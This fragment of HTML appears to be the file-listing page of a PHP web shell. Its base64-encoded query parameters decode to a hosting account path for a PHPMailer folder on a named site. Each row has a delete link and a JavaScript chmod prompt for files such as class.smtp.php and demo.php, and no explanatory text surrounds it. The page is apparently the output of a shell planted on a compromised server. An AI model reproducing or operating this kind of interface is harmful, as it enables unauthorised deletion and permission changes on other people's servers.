href="?d=L2hvbWUvZmVhdHNwYWMvcHVibGljX2h0bWwvamF5am9kaS5jb20vU01UUC1QSFBtYWlsZXI=&x=Y2xhc3Muc210cC5waHA=">X</a></td><td><a href="?d=L2hvbWUvZmVhdHNwYWMvcHVibGljX2h0bWwvamF5am9kaS5jb20vU01UUC1QSFBtYWlsZXI=&f=Y2xhc3Muc210cC5waHA="/>class.smtp.php</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L2hvbWUvZmVhdHNwYWMvcHVibGljX2h0bWwvamF5am9kaS5jb20vU01UUC1QSFBtYWlsZXI=&f=Y2xhc3Muc210cC5waHA=&c=`+btoa(c):0" value="0664"></td><td>29146</td></tr><tr><td><a href="?d=L2hvbWUvZmVhdHNwYWMvcHVibGljX2h0bWwvamF5am9kaS5jb20vU01UUC1QSFBtYWlsZXI=&x=ZGVtby5waHA=">X</a></td><td><a href="?d=L2hvbWUvZmVhdHNwYWMvcHVibGljX2h0bWwvamF5am9kaS5jb20vU01UUC1QSFBtYWlsZXI=&f=ZGVtby5waHA="/>demo.php</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L2hvbWUvZmVhdHNwYWMvcHVibGljX2h0bWwvamF5am9kaS5jb20vU01UUC1QSFBtYWlsZXI=&f=ZGVtby5waHA=&c=`+btoa(c):0" value="0664"></td><td>1298</td></tr></table>